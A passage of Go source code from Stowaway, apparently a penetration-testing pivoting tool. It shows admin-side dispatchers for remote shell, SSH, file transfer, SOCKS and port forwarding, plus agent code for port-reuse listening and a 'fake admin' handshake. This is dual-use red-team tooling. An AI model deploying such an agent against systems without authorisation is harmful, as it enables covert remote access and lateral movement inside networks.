manager.ResultChan <- &forwardResult{OK: true} 273 | } 274 | 275 | func (manager *forwardManager) forceShutdown(task *ForwardTask) { 276 | if _, ok := manager.forwardMap[task.UUID]; ok { 277 | manager.closeSingleAll(task) 278 | } else { 279 | manager.ResultChan <- &forwardResult{OK: true} 280 | } 281 | } 282 | -------------------------------------------------------------------------------- /admin/manager/manager.go: -------------------------------------------------------------------------------- 1 | /* 2 | * @Author: ph4ntom 3 | * @Date: 2021-03-23 19:01:26 4 | * @LastEditors: ph4ntom 5 | * @LastEditTime: 2021-04-02 17:24:21 6 | */ 7 | package manager 8 | 9 | import ( 10 | "Stowaway/share" 11 | ) 12 | 13 | type Manager struct { 14 | ConsoleManager *consoleManager 15 | FileManager *fileManager 16 | SocksManager *socksManager 17 | ForwardManager *forwardManager 18 | BackwardManager *backwardManager 19 | SSHManager *sshManager 20 | SSHTunnelManager *sshTunnelManager 21 | ShellManager *shellManager 22 | InfoManager *infoManager 23 | ListenManager *listenManager 24 | ConnectManager *connectManager 25 | ChildrenManager *childrenManager 26 | } 27 | 28 | func NewManager(file *share.MyFile) *Manager { 29 | manager := new(Manager) 30 | manager.ConsoleManager = newConsoleManager() 31 | manager.FileManager = newFileManager(file) 32 | manager.SocksManager = newSocksManager() 33 | manager.ForwardManager = newForwardManager() 34 | manager.BackwardManager = newBackwardManager() 35 | manager.SSHManager = newSSHManager() 36 | manager.SSHTunnelManager = newSSHTunnelManager() 37 | manager.ShellManager = newShellManager() 38 | manager.InfoManager = newInfoManager() 39 | manager.ListenManager = newListenManager() 40 | manager.ConnectManager = newConnectManager() 41 | manager.ChildrenManager = newchildrenManager() 42 | return manager 43 | } 44 | 45 | func (manager *Manager) Run() { 46 | go manager.SocksManager.run() 47 | go manager.ForwardManager.run() 48 | go manager.BackwardManager.run() 49 | } 50 | -------------------------------------------------------------------------------- /admin/manager/others.go: -------------------------------------------------------------------------------- 1 | package manager 2 | 3 | import ( 4 | "Stowaway/share" 5 | ) 6 | 7 | type consoleManager struct { 8 | OK chan bool 9 | Exit chan bool 10 | } 11 | 12 | func newConsoleManager() *consoleManager { 13 | manager := new(consoleManager) 14 | manager.OK = make(chan bool) 15 | manager.Exit = make(chan bool, 1) 16 | return manager 17 | } 18 | 19 | type fileManager struct { 20 | File *share.MyFile 21 | 22 | FileMessChan chan interface{} 23 | } 24 | 25 | func newFileManager(file *share.MyFile) *fileManager { 26 | manager := new(fileManager) 27 | manager.File = file 28 | manager.FileMessChan = make(chan interface{}, 5) 29 | return manager 30 | } 31 | 32 | type sshManager struct { 33 | SSHMessChan chan interface{} 34 | } 35 | 36 | func newSSHManager() *sshManager { 37 | manager := new(sshManager) 38 | manager.SSHMessChan = make(chan interface{}, 5) 39 | return manager 40 | } 41 | 42 | type sshTunnelManager struct { 43 | SSHTunnelMessChan chan interface{} 44 | } 45 | 46 | func newSSHTunnelManager() *sshTunnelManager { 47 | manager := new(sshTunnelManager) 48 | manager.SSHTunnelMessChan = make(chan interface{}, 5) 49 | return manager 50 | } 51 | 52 | type shellManager struct { 53 | ShellMessChan chan interface{} 54 | } 55 | 56 | func newShellManager() *shellManager { 57 | manager := new(shellManager) 58 | manager.ShellMessChan = make(chan interface{}, 5) 59 | return manager 60 | } 61 | 62 | type infoManager struct { 63 | InfoMessChan chan interface{} 64 | } 65 | 66 | func newInfoManager() *infoManager { 67 | manager := new(infoManager) 68 | manager.InfoMessChan = make(chan interface{}, 5) 69 | return manager 70 | } 71 | 72 | type listenManager struct { 73 | ListenMessChan chan interface{} 74 | ListenReady chan bool 75 | } 76 | 77 | func newListenManager() *listenManager { 78 | manager := new(listenManager) 79 | manager.ListenMessChan = make(chan interface{}, 5) 80 | manager.ListenReady = make(chan bool) 81 | return manager 82 | } 83 | 84 | type connectManager struct { 85 | ConnectMessChan chan interface{} 86 | ConnectReady chan bool 87 | } 88 | 89 | func newConnectManager() *connectManager { 90 | manager := new(connectManager) 91 | manager.ConnectMessChan = make(chan interface{}, 5) 92 | manager.ConnectReady = make(chan bool) 93 | return manager 94 | } 95 | 96 | type childrenManager struct { 97 | ChildrenMessChan chan interface{} 98 | } 99 | 100 | func newchildrenManager() *childrenManager { 101 | manager := new(childrenManager) 102 | manager.ChildrenMessChan = make(chan interface{}, 5) 103 | return manager 104 | } 105 | -------------------------------------------------------------------------------- /admin/printer/printer.go: -------------------------------------------------------------------------------- 1 | package printer 2 | 3 | import "github.com/fatih/color" 4 | 5 | var ( 6 | Warning func(format string, a ...interface{}) 7 | Success func(format string, a ...interface{}) 8 | Fail func(format string, a ...interface{}) 9 | ) 10 | 11 | func InitPrinter() { 12 | Warning = color.New(color.FgYellow).PrintfFunc() 13 | Success = color.New(color.FgGreen).PrintfFunc() 14 | Fail = color.New(color.FgRed).PrintfFunc() 15 | } 16 | -------------------------------------------------------------------------------- /admin/process/children.go: -------------------------------------------------------------------------------- 1 | package process 2 | 3 | import ( 4 | "Stowaway/admin/manager" 5 | "Stowaway/admin/printer" 6 | "Stowaway/admin/topology" 7 | "Stowaway/protocol" 8 | ) 9 | 10 | func nodeOffline(mgr *manager.Manager, topo *topology.Topology, uuid string) { 11 | topoTask := &topology.TopoTask{ 12 | Mode: topology.DELNODE, 13 | UUID: uuid, 14 | } 15 | topo.TaskChan <- topoTask 16 | result := <-topo.ResultChan 17 | allNodes := result.AllNodes 18 | 19 | for _, nodeUUID := range allNodes { 20 | backwardTask := &manager.BackwardTask{ 21 | Mode: manager.B_FORCESHUTDOWN, 22 | UUID: nodeUUID, 23 | } 24 | mgr.BackwardManager.TaskChan <- backwardTask 25 | <-mgr.BackwardManager.ResultChan 26 | 27 | forwardTask := &manager.ForwardTask{ 28 | Mode: manager.F_FORCESHUTDOWN, 29 | UUID: nodeUUID, 30 | } 31 | mgr.ForwardManager.TaskChan <- forwardTask 32 | <-mgr.ForwardManager.ResultChan 33 | 34 | socksTask := &manager.SocksTask{ 35 | Mode: manager.S_FORCESHUTDOWN, 36 | UUID: nodeUUID, 37 | } 38 | mgr.SocksManager.TaskChan <- socksTask 39 | <-mgr.SocksManager.ResultChan 40 | } 41 | 42 | topoTask = &topology.TopoTask{ 43 | Mode: topology.CALCULATE, 44 | } 45 | topo.TaskChan <- topoTask 46 | <-topo.ResultChan 47 | } 48 | 49 | func nodeReonline(mgr *manager.Manager, topo *topology.Topology, mess *protocol.NodeReonline) { 50 | node := topology.NewNode(mess.UUID, mess.IP) 51 | 52 | topoTask := &topology.TopoTask{ 53 | Mode: topology.REONLINENODE, 54 | Target: node, 55 | ParentUUID: mess.ParentUUID, 56 | IsFirst: false, 57 | } 58 | topo.TaskChan <- topoTask 59 | <-topo.ResultChan 60 | 61 | topoTask = &topology.TopoTask{ 62 | Mode: topology.CALCULATE, 63 | } 64 | topo.TaskChan <- topoTask 65 | <-topo.ResultChan 66 | 67 | topoTask = &topology.TopoTask{ 68 | Mode: topology.GETUUIDNUM, 69 | UUID: mess.UUID, 70 | } 71 | topo.TaskChan <- topoTask 72 | result := <-topo.ResultChan 73 | 74 | printer.Success("\r\n[*] Node %d is reonline!", result.IDNum) 75 | } 76 | 77 | func DispatchChildrenMess(mgr *manager.Manager, topo *topology.Topology) { 78 | for { 79 | message := <-mgr.ChildrenManager.ChildrenMessChan 80 | 81 | switch mess := message.(type) { 82 | case *protocol.NodeOffline: 83 | nodeOffline(mgr, topo, mess.UUID) 84 | case *protocol.NodeReonline: 85 | nodeReonline(mgr, topo, mess) 86 | } 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /admin/process/process.go: -------------------------------------------------------------------------------- 1 | //go:build !windows 2 | 3 | package process 4 | 5 | import ( 6 | "os" 7 | 8 | "Stowaway/admin/cli" 9 | "Stowaway/admin/handler" 10 | "Stowaway/admin/initial" 11 | "Stowaway/admin/manager" 12 | "Stowaway/admin/printer" 13 | "Stowaway/admin/topology" 14 | "Stowaway/global" 15 | "Stowaway/protocol" 16 | "Stowaway/share" 17 | 18 | "github.com/nsf/termbox-go" 19 | ) 20 | 21 | type Admin struct { 22 | mgr *manager.Manager 23 | options *initial.Options 24 | topology *topology.Topology 25 | } 26 | 27 | func NewAdmin(opt *initial.Options, topo *topology.Topology) *Admin { 28 | admin := new(Admin) 29 | admin.topology = topo 30 | admin.options = opt 31 | return admin 32 | } 33 | 34 | func (admin *Admin) Run() { 35 | admin.mgr = manager.NewManager(share.NewFile()) 36 | go admin.mgr.Run() 37 | // Init console 38 | console := cli.NewConsole() 39 | console.Init(admin.topology, admin.mgr) 40 | // hanle all message comes from downstream 41 | go admin.handleMessFromDownstream(console) 42 | // run a dispatcher to dispatch different kinds of message 43 | go handler.DispatchListenMess(admin.mgr, admin.topology) 44 | go handler.DispatchConnectMess(admin.mgr) 45 | go handler.DispathSocksMess(admin.mgr, admin.topology) 46 | go handler.DispatchForwardMess(admin.mgr) 47 | go handler.DispatchBackwardMess(admin.mgr, admin.topology) 48 | go handler.DispatchFileMess(admin.mgr) 49 | go handler.DispatchSSHMess(admin.mgr) 50 | go handler.DispatchSSHTunnelMess(admin.mgr) 51 | go handler.DispatchShellMess(admin.mgr) 52 | go handler.DispatchInfoMess(admin.mgr, admin.topology) 53 | go DispatchChildrenMess(admin.mgr, admin.topology) 54 | // if options.Heartbeat set, send hearbeat packet to agent 55 | if admin.options.Heartbeat { 56 | go handler.LetHeartbeat(admin.topology) 57 | } 58 | // start interactive panel 59 | console.Run() 60 | } 61 | 62 | func (admin *Admin) handleMessFromDownstream(console *cli.Console) { 63 | rMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 64 | 65 | for { 66 | header, message, err := protocol.DestructMessage(rMessage) 67 | if err != nil { 68 | printer.Fail("\r\n[*] Peer node seems offline!") 69 | // wait for user to exit 70 | printer.Fail("\r\n[*] Press any key to exit") 71 | termbox.PollEvent() 72 | // close termbox 73 | termbox.Close() 74 | os.Exit(0) 75 | } 76 | 77 | switch header.MessageType { 78 | case protocol.MYINFO: 79 | admin.mgr.InfoManager.InfoMessChan <- message 80 | case protocol.SHELLRES: 81 | fallthrough 82 | case protocol.SHELLRESULT: 83 | fallthrough 84 | case protocol.SHELLEXIT: 85 | admin.mgr.ShellManager.ShellMessChan <- message 86 | case protocol.SSHRES: 87 | fallthrough 88 | case protocol.SSHRESULT: 89 | fallthrough 90 | case protocol.SSHEXIT: 91 | admin.mgr.SSHManager.SSHMessChan <- message 92 | case protocol.SSHTUNNELRES: 93 | admin.mgr.SSHTunnelManager.SSHTunnelMessChan <- message 94 | case protocol.FILESTATREQ: 95 | fallthrough 96 | case protocol.FILEDOWNRES: 97 | fallthrough 98 | case protocol.FILESTATRES: 99 | fallthrough 100 | case protocol.FILEDATA: 101 | fallthrough 102 | case protocol.FILEERR: 103 | admin.mgr.FileManager.FileMessChan <- message 104 | case protocol.SOCKSREADY: 105 | fallthrough 106 | case protocol.SOCKSTCPDATA: 107 | fallthrough 108 | case protocol.SOCKSTCPFIN: 109 | fallthrough 110 | case protocol.UDPASSSTART: 111 | fallthrough 112 | case protocol.SOCKSUDPDATA: 113 | admin.mgr.SocksManager.SocksMessChan <- message 114 | case protocol.FORWARDREADY: 115 | fallthrough 116 | case protocol.FORWARDDATA: 117 | fallthrough 118 | case protocol.FORWARDFIN: 119 | admin.mgr.ForwardManager.ForwardMessChan <- message 120 | case protocol.BACKWARDREADY: 121 | fallthrough 122 | case protocol.BACKWARDDATA: 123 | fallthrough 124 | case protocol.BACKWARDFIN: 125 | fallthrough 126 | case protocol.BACKWARDSTOPDONE: 127 | fallthrough 128 | case protocol.BACKWARDSTART: 129 | admin.mgr.BackwardManager.BackwardMessChan <- message 130 | case protocol.CHILDUUIDREQ: // include "connect" && "listen" func, let ListenManager do all this stuff,ConnectManager can just watch 131 | fallthrough 132 | case protocol.LISTENRES: 133 | admin.mgr.ListenManager.ListenMessChan <- message 134 | case protocol.CONNECTDONE: 135 | admin.mgr.ConnectManager.ConnectMessChan <- message 136 | case protocol.NODEREONLINE: 137 | fallthrough 138 | case protocol.NODEOFFLINE: 139 | admin.mgr.ChildrenManager.ChildrenMessChan <- message 140 | default: 141 | printer.Fail("\r\n[*] Unknown Message!") 142 | } 143 | } 144 | } 145 | -------------------------------------------------------------------------------- /admin/process/process_win.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package process 4 | 5 | import ( 6 | "os" 7 | 8 | "Stowaway/admin/cli" 9 | "Stowaway/admin/handler" 10 | "Stowaway/admin/initial" 11 | "Stowaway/admin/manager" 12 | "Stowaway/admin/printer" 13 | "Stowaway/admin/topology" 14 | "Stowaway/global" 15 | "Stowaway/protocol" 16 | "Stowaway/share" 17 | ) 18 | 19 | type Admin struct { 20 | mgr *manager.Manager 21 | options *initial.Options 22 | topology *topology.Topology 23 | } 24 | 25 | func NewAdmin(opt *initial.Options, topo *topology.Topology) *Admin { 26 | admin := new(Admin) 27 | admin.topology = topo 28 | admin.options = opt 29 | return admin 30 | } 31 | 32 | func (admin *Admin) Run() { 33 | admin.mgr = manager.NewManager(share.NewFile()) 34 | go admin.mgr.Run() 35 | // Init console 36 | console := cli.NewConsole() 37 | console.Init(admin.topology, admin.mgr) 38 | // hanle all message comes from downstream 39 | go admin.handleMessFromDownstream(console) 40 | // run a dispatcher to dispatch different kinds of message 41 | go handler.DispatchListenMess(admin.mgr, admin.topology) 42 | go handler.DispatchConnectMess(admin.mgr) 43 | go handler.DispathSocksMess(admin.mgr, admin.topology) 44 | go handler.DispatchForwardMess(admin.mgr) 45 | go handler.DispatchBackwardMess(admin.mgr, admin.topology) 46 | go handler.DispatchFileMess(admin.mgr) 47 | go handler.DispatchSSHMess(admin.mgr) 48 | go handler.DispatchSSHTunnelMess(admin.mgr) 49 | go handler.DispatchShellMess(admin.mgr) 50 | go handler.DispatchInfoMess(admin.mgr, admin.topology) 51 | go DispatchChildrenMess(admin.mgr, admin.topology) 52 | // if options.Heartbeat set, send hearbeat packet to agent 53 | if admin.options.Heartbeat { 54 | go handler.LetHeartbeat(admin.topology) 55 | } 56 | // start interactive panel 57 | console.Run() 58 | } 59 | 60 | func (admin *Admin) handleMessFromDownstream(console *cli.Console) { 61 | rMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 62 | 63 | for { 64 | header, message, err := protocol.DestructMessage(rMessage) 65 | if err != nil { 66 | printer.Fail("\r\n[*] Peer node seems offline!") 67 | os.Exit(0) 68 | } 69 | 70 | switch header.MessageType { 71 | case protocol.MYINFO: 72 | admin.mgr.InfoManager.InfoMessChan <- message 73 | case protocol.SHELLRES: 74 | fallthrough 75 | case protocol.SHELLRESULT: 76 | fallthrough 77 | case protocol.SHELLEXIT: 78 | admin.mgr.ShellManager.ShellMessChan <- message 79 | case protocol.SSHRES: 80 | fallthrough 81 | case protocol.SSHRESULT: 82 | fallthrough 83 | case protocol.SSHEXIT: 84 | admin.mgr.SSHManager.SSHMessChan <- message 85 | case protocol.SSHTUNNELRES: 86 | admin.mgr.SSHTunnelManager.SSHTunnelMessChan <- message 87 | case protocol.FILESTATREQ: 88 | fallthrough 89 | case protocol.FILEDOWNRES: 90 | fallthrough 91 | case protocol.FILESTATRES: 92 | fallthrough 93 | case protocol.FILEDATA: 94 | fallthrough 95 | case protocol.FILEERR: 96 | admin.mgr.FileManager.FileMessChan <- message 97 | case protocol.SOCKSREADY: 98 | fallthrough 99 | case protocol.SOCKSTCPDATA: 100 | fallthrough 101 | case protocol.SOCKSTCPFIN: 102 | fallthrough 103 | case protocol.UDPASSSTART: 104 | fallthrough 105 | case protocol.SOCKSUDPDATA: 106 | admin.mgr.SocksManager.SocksMessChan <- message 107 | case protocol.FORWARDREADY: 108 | fallthrough 109 | case protocol.FORWARDDATA: 110 | fallthrough 111 | case protocol.FORWARDFIN: 112 | admin.mgr.ForwardManager.ForwardMessChan <- message 113 | case protocol.BACKWARDREADY: 114 | fallthrough 115 | case protocol.BACKWARDDATA: 116 | fallthrough 117 | case protocol.BACKWARDFIN: 118 | fallthrough 119 | case protocol.BACKWARDSTOPDONE: 120 | fallthrough 121 | case protocol.BACKWARDSTART: 122 | admin.mgr.BackwardManager.BackwardMessChan <- message 123 | case protocol.CHILDUUIDREQ: // include "connect" && "listen" func, let ListenManager do all this stuff,ConnectManager can just watch 124 | fallthrough 125 | case protocol.LISTENRES: 126 | admin.mgr.ListenManager.ListenMessChan <- message 127 | case protocol.CONNECTDONE: 128 | admin.mgr.ConnectManager.ConnectMessChan <- message 129 | case protocol.NODEREONLINE: 130 | fallthrough 131 | case protocol.NODEOFFLINE: 132 | admin.mgr.ChildrenManager.ChildrenMessChan <- message 133 | default: 134 | printer.Fail("\r\n[*] Unknown Message!") 135 | } 136 | } 137 | } 138 | -------------------------------------------------------------------------------- /agent/agent.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "net" 6 | "runtime" 7 | 8 | "Stowaway/agent/initial" 9 | "Stowaway/agent/process" 10 | "Stowaway/global" 11 | "Stowaway/protocol" 12 | "Stowaway/share" 13 | ) 14 | 15 | func init() { 16 | runtime.GOMAXPROCS(runtime.NumCPU()) 17 | } 18 | 19 | func main() { 20 | options := initial.ParseOptions() 21 | 22 | share.GeneratePreAuthToken(options.Secret) 23 | 24 | agent := process.NewAgent(options) 25 | 26 | protocol.SetUpDownStream(options.Upstream, options.Downstream) 27 | 28 | var conn net.Conn 29 | switch options.Mode { 30 | case initial.NORMAL_PASSIVE: 31 | conn, agent.UUID = initial.NormalPassive(options) 32 | case initial.NORMAL_RECONNECT_ACTIVE: 33 | fallthrough 34 | case initial.NORMAL_ACTIVE: 35 | conn, agent.UUID = initial.NormalActive(options, nil) 36 | case initial.SOCKS5_PROXY_RECONNECT_ACTIVE: 37 | fallthrough 38 | case initial.SOCKS5_PROXY_ACTIVE: 39 | proxy := share.NewSocks5Proxy(options.Connect, options.Socks5Proxy, options.Socks5ProxyU, options.Socks5ProxyP) 40 | conn, agent.UUID = initial.NormalActive(options, proxy) 41 | case initial.HTTP_PROXY_RECONNECT_ACTIVE: 42 | fallthrough 43 | case initial.HTTP_PROXY_ACTIVE: 44 | proxy := share.NewHTTPProxy(options.Connect, options.HttpProxy) 45 | conn, agent.UUID = initial.NormalActive(options, proxy) 46 | case initial.IPTABLES_REUSE_PASSIVE: 47 | defer initial.DeletePortReuseRules(options.Listen, options.ReusePort) 48 | conn, agent.UUID = initial.IPTableReusePassive(options) 49 | case initial.SO_REUSE_PASSIVE: 50 | conn, agent.UUID = initial.SoReusePassive(options) 51 | default: 52 | log.Fatal("[*] Unknown Mode") 53 | } 54 | 55 | global.InitialGComponent(conn, options.Secret, agent.UUID) 56 | global.G_TLSEnable = options.TlsEnable 57 | 58 | agent.Run() 59 | } 60 | -------------------------------------------------------------------------------- /agent/handler/backward.go: -------------------------------------------------------------------------------- 1 | package handler 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | 7 | "Stowaway/agent/manager" 8 | "Stowaway/global" 9 | "Stowaway/protocol" 10 | ) 11 | 12 | type Backward struct { 13 | Lport string 14 | Rport string 15 | Listener net.Listener 16 | } 17 | 18 | func newBackward(listener net.Listener, lPort, rPort string) *Backward { 19 | backward := new(Backward) 20 | backward.Listener = listener 21 | backward.Lport = lPort 22 | backward.Rport = rPort 23 | return backward 24 | } 25 | 26 | func (backward *Backward) start(mgr *manager.Manager) { 27 | mgrTask := &manager.BackwardTask{ 28 | Mode: manager.B_NEWBACKWARD, 29 | Listener: backward.Listener, 30 | RPort: backward.Rport, 31 | } 32 | 33 | mgr.BackwardManager.TaskChan <- mgrTask 34 | <-mgr.BackwardManager.ResultChan 35 | 36 | sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 37 | 38 | for { 39 | conn, err := backward.Listener.Accept() 40 | if err != nil { 41 | backward.Listener.Close() // todo:closebackward消息处理 42 | return 43 | } 44 | 45 | seqHeader := &protocol.Header{ 46 | Sender: global.G_Component.UUID, 47 | Accepter: protocol.ADMIN_UUID, 48 | MessageType: protocol.BACKWARDSTART, 49 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 50 | Route: protocol.TEMP_ROUTE, 51 | } 52 | 53 | seqMess := &protocol.BackwardStart{ 54 | UUIDLen: uint16(len(global.G_Component.UUID)), 55 | UUID: global.G_Component.UUID, 56 | LPortLen: uint16(len(backward.Lport)), 57 | LPort: backward.Lport, 58 | RPortLen: uint16(len(backward.Rport)), 59 | RPort: backward.Rport, 60 | } 61 | 62 | protocol.ConstructMessage(sMessage, seqHeader, seqMess, false) 63 | sMessage.SendMessage() 64 | 65 | mgrTask = &manager.BackwardTask{ 66 | Mode: manager.B_GETSEQCHAN, 67 | RPort: backward.Rport, 68 | } 69 | mgr.BackwardManager.TaskChan <- mgrTask 70 | result := <-mgr.BackwardManager.ResultChan 71 | if !result.OK { 72 | conn.Close() 73 | return 74 | } 75 | 76 | seq, ok := <-result.SeqChan 77 | if !ok { 78 | conn.Close() 79 | return 80 | } 81 | 82 | go backward.handleBackward(mgr, conn, seq) 83 | } 84 | } 85 | 86 | func (backward *Backward) handleBackward(mgr *manager.Manager, conn net.Conn, seq uint64) { 87 | sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 88 | 89 | defer func() { 90 | finHeader := &protocol.Header{ 91 | Sender: global.G_Component.UUID, 92 | Accepter: protocol.ADMIN_UUID, 93 | MessageType: protocol.BACKWARDFIN, 94 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 95 | Route: protocol.TEMP_ROUTE, 96 | } 97 | 98 | finMess := &protocol.BackWardFin{ 99 | Seq: seq, 100 | } 101 | 102 | protocol.ConstructMessage(sMessage, finHeader, finMess, false) 103 | sMessage.SendMessage() 104 | }() 105 | 106 | mgrTask := &manager.BackwardTask{ 107 | Mode: manager.B_ADDCONN, 108 | RPort: backward.Rport, 109 | Seq: seq, 110 | } 111 | mgr.BackwardManager.TaskChan <- mgrTask 112 | result := <-mgr.BackwardManager.ResultChan 113 | mgr.BackwardManager.SeqReady <- true 114 | if !result.OK { 115 | conn.Close() 116 | return 117 | } 118 | 119 | // ask for corresponding datachan 120 | mgrTask = &manager.BackwardTask{ 121 | Mode: manager.B_GETDATACHAN, 122 | RPort: backward.Rport, 123 | Seq: seq, 124 | } 125 | mgr.BackwardManager.TaskChan <- mgrTask 126 | result = <-mgr.BackwardManager.ResultChan 127 | if !result.OK { 128 | return 129 | } 130 | 131 | dataChan := result.DataChan 132 | 133 | go func() { 134 | for { 135 | if data, ok := <-dataChan; ok { 136 | conn.Write(data) 137 | } else { 138 | conn.Close() 139 | return 140 | } 141 | } 142 | }() 143 | 144 | dataHeader := &protocol.Header{ 145 | Sender: global.G_Component.UUID, 146 | Accepter: protocol.ADMIN_UUID, 147 | MessageType: protocol.BACKWARDDATA, 148 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 149 | Route: protocol.TEMP_ROUTE, 150 | } 151 | 152 | buffer := make([]byte, 20480) 153 | 154 | for { 155 | length, err := conn.Read(buffer) 156 | if err != nil { 157 | conn.Close() 158 | return 159 | } 160 | 161 | backwardDataMess := &protocol.BackwardData{ 162 | Seq: seq, 163 | DataLen: uint64(length), 164 | Data: buffer[:length], 165 | } 166 | 167 | protocol.ConstructMessage(sMessage, dataHeader, backwardDataMess, false) 168 | sMessage.SendMessage() 169 | } 170 | } 171 | 172 | func testBackward(mgr *manager.Manager, lPort, rPort string) { 173 | sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 174 | 175 | header := &protocol.Header{ 176 | Sender: global.G_Component.UUID, 177 | Accepter: protocol.ADMIN_UUID, 178 | MessageType: protocol.BACKWARDREADY, 179 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 180 | Route: protocol.TEMP_ROUTE, 181 | } 182 | 183 | succMess := &protocol.BackwardReady{ 184 | OK: 1, 185 | } 186 | 187 | failMess := &protocol.BackwardReady{ 188 | OK: 0, 189 | } 190 | 191 | listenAddr := fmt.Sprintf("0.0.0.0:%s", rPort) 192 | listener, err := net.Listen("tcp", listenAddr) 193 | if err != nil { 194 | protocol.ConstructMessage(sMessage, header, failMess, false) 195 | sMessage.SendMessage() 196 | return 197 | } 198 | 199 | backward := newBackward(listener, lPort, rPort) 200 | 201 | go backward.start(mgr) 202 | 203 | protocol.ConstructMessage(sMessage, header, succMess, false) 204 | sMessage.SendMessage() 205 | } 206 | 207 | func sendDoneMess(all uint16, rPort string) { 208 | // here is a problem,if some of the backward conns cannot send FIN before DONE,then the FIN they send cannot be processed by admin 209 | // but it's not a really big problem,because users must know some data maybe lost since they choose to close backward 210 | sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 211 | 212 | header := &protocol.Header{ 213 | Sender: global.G_Component.UUID, 214 | Accepter: protocol.ADMIN_UUID, 215 | MessageType: protocol.BACKWARDSTOPDONE, 216 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 217 | Route: protocol.TEMP_ROUTE, 218 | } 219 | 220 | doneMess := &protocol.BackwardStopDone{ 221 | All: all, 222 | UUIDLen: uint16(len(global.G_Component.UUID)), 223 | UUID: global.G_Component.UUID, 224 | RPortLen: uint16(len(rPort)), 225 | RPort: rPort, 226 | } 227 | 228 | protocol.ConstructMessage(sMessage, header, doneMess, false) 229 | sMessage.SendMessage() 230 | } 231 | 232 | func DispatchBackwardMess(mgr *manager.Manager) { 233 | for { 234 | message := <-mgr.BackwardManager.BackwardMessChan 235 | 236 | switch mess := message.(type) { 237 | case *protocol.BackwardTest: 238 | go testBackward(mgr, mess.LPort, mess.RPort) 239 | case *protocol.BackwardSeq: 240 | mgrTask := &manager.BackwardTask{ 241 | Mode: manager.B_GETSEQCHAN, 242 | RPort: mess.RPort, 243 | Seq: mess.Seq, 244 | } 245 | mgr.BackwardManager.TaskChan <- mgrTask 246 | result := <-mgr.BackwardManager.ResultChan 247 | 248 | if result.OK { 249 | result.SeqChan <- mess.Seq 250 | <-mgr.BackwardManager.SeqReady 251 | } else { 252 | sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 253 | 254 | finHeader := &protocol.Header{ 255 | Sender: global.G_Component.UUID, 256 | Accepter: protocol.ADMIN_UUID, 257 | MessageType: protocol.BACKWARDFIN, 258 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 259 | Route: protocol.TEMP_ROUTE, 260 | } 261 | 262 | finMess := &protocol.BackWardFin{ 263 | Seq: mess.Seq, 264 | } 265 | 266 | protocol.ConstructMessage(sMessage, finHeader, finMess, false) 267 | sMessage.SendMessage() 268 | } 269 | case *protocol.BackwardData: 270 | mgrTask := &manager.BackwardTask{ 271 | Mode: manager.B_GETDATACHAN_WITHOUTUUID, 272 | Seq: mess.Seq, 273 | } 274 | mgr.BackwardManager.TaskChan <- mgrTask 275 | result := <-mgr.BackwardManager.ResultChan 276 | 277 | if result.OK { 278 | result.DataChan <- mess.Data 279 | } 280 | case *protocol.BackWardFin: 281 | mgrTask := &manager.BackwardTask{ 282 | Mode: manager.B_CLOSETCP, 283 | Seq: mess.Seq, 284 | } 285 | mgr.BackwardManager.TaskChan <- mgrTask 286 | case *protocol.BackwardStop: 287 | if mess.All == 1 { 288 | mgrTask := &manager.BackwardTask{ 289 | Mode: manager.B_CLOSESINGLEALL, 290 | } 291 | mgr.BackwardManager.TaskChan <- mgrTask 292 | } else { 293 | mgrTask := &manager.BackwardTask{ 294 | Mode: manager.B_CLOSESINGLE, 295 | RPort: mess.RPort, 296 | } 297 | mgr.BackwardManager.TaskChan <- mgrTask 298 | } 299 | <-mgr.BackwardManager.ResultChan 300 | go sendDoneMess(mess.All, mess.RPort) 301 | } 302 | } 303 | } 304 | -------------------------------------------------------------------------------- /agent/handler/connect.go: -------------------------------------------------------------------------------- 1 | package handler 2 | 3 | import ( 4 | "crypto/tls" 5 | "errors" 6 | "net" 7 | "time" 8 | 9 | "Stowaway/agent/manager" 10 | "Stowaway/global" 11 | "Stowaway/protocol" 12 | "Stowaway/share" 13 | "Stowaway/share/transport" 14 | ) 15 | 16 | type Connect struct { 17 | Addr string 18 | } 19 | 20 | func newConnect(addr string) *Connect { 21 | connect := new(Connect) 22 | connect.Addr = addr 23 | return connect 24 | } 25 | 26 | func (connect *Connect) start(mgr *manager.Manager) { 27 | var sUMessage, sLMessage, rMessage protocol.Message 28 | 29 | sUMessage = protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 30 | 31 | hiHeader := &protocol.Header{ 32 | Sender: protocol.ADMIN_UUID, // fake admin 33 | Accepter: protocol.TEMP_UUID, 34 | MessageType: protocol.HI, 35 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 36 | Route: protocol.TEMP_ROUTE, 37 | } 38 | 39 | // fake admin 40 | hiMess := &protocol.HIMess{ 41 | GreetingLen: uint16(len("Shhh...")), 42 | Greeting: "Shhh...", 43 | UUIDLen: uint16(len(protocol.ADMIN_UUID)), 44 | UUID: protocol.ADMIN_UUID, 45 | IsAdmin: 1, 46 | IsReconnect: 0, 47 | } 48 | 49 | doneHeader := &protocol.Header{ 50 | Sender: global.G_Component.UUID, 51 | Accepter: protocol.ADMIN_UUID, 52 | MessageType: protocol.CONNECTDONE, 53 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 54 | Route: protocol.TEMP_ROUTE, 55 | } 56 | 57 | doneSuccMess := &protocol.ConnectDone{ 58 | OK: 1, 59 | } 60 | 61 | doneFailMess := 